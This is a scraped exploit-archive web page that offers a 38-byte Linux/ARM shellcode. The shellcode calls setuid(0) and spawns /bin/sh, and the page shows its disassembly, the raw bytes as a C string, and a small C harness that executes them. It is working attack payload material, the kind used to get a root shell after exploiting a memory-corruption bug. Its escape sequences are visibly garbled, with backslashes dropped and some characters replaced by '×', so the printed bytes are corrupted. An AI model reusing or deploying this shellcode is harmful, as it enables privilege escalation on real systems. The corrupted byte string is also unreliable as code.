<!DOCTYPE HTML PUBLIC ‘-//W3C//DTD HTML 4.01 Transitional//EN’><html><head><meta http-equiv=’Content-Type’ content=’text/html; charset=windows-1251′><title>linux/ARM – setuid(0) &amp; execve(&quot;/bin/sh&quot;,&quot;/bin/sh&quot;,0) – 38 bytes</title><link rel=’shortcut icon’ href=’/favicon.ico’ type=’image/x-icon’><link rel=’alternate’ type=’application/rss+xml’ title=’Inj3ct0r RSS’ href=’/rss’></head><body><pre>================================================================
linux/ARM – setuid(0) &amp; execve(&quot;/bin/sh&quot;,&quot;/bin/sh&quot;,0) – 38 bytes
================================================================

/*
Title: Linux/ARM – setuid(0) &amp; execve(&quot;/bin/sh&quot;,&quot;/bin/sh&quot;,0) – 38 bytes
Date: 2010-06-29
Tested: ARM926EJ-S rev 5 (v5l)

Author: Jonathan Salwan
Web: http://shell-storm.org | http://twitter.com/shell_storm

! Dtabase of shellcodes http://www.shell-storm.org/shellcode/

8054: e28f3001 add r3, pc, #1 ; 0×1
8058: e12fff13 bx r3
805c: 1b24 subs r4, r4, r4
805e: 1c20 adds r0, r4, #0
8060: 2717 movs r7, #23
8062: df01 svc 1
8064: 4678 mov r0, pc
8066: 300a adds r0, #10
8068: 9001 str r0, [sp, #4]
806a: a901 add r1, sp, #4
806c: 1a92 subs r2, r2, r2
806e: 270b movs r7, #11
8070: df01 svc 1
8072: 2f2f cmp r7, #47
8074: 6962 ldr r2, [r4, #20]
8076: 2f6e cmp r7, #110
8078: 6873 ldr r3, [r6, #4]
*/

#include &lt;stdio.h&gt;

char *SC = &quot;x01×30x8fxe2&quot;
&quot;x13xffx2fxe1&quot;
&quot;x24×1bx20×1c&quot;
&quot;x17×27x01xdf&quot;
&quot;x78×46x0ax30&quot;
&quot;x01×90x01xa9&quot;
&quot;x92×1ax0bx27&quot;
&quot;x01xdfx2fx2f&quot;
&quot;x62×69x6ex2f&quot;
&quot;x73×68&quot;;

int main(void)
{
fprintf(stdout,&quot;Length: %dn&quot;,strlen(SC));
(*(void(*)()) SC)();
return 0;
}

# <a href=’http://inj3ct0r.com/’>Inj3ct0r.com</a> [2010-06-29]</pre><script type=’text/javascript’>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src=’" + gaJsHost + "google-analytics.com/ga.js’ type=’text/javascript’%3E%3C/script%3E"));</script><script type=’text/javascript’>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
Source: http://inj3ct0r.com/exploits/12505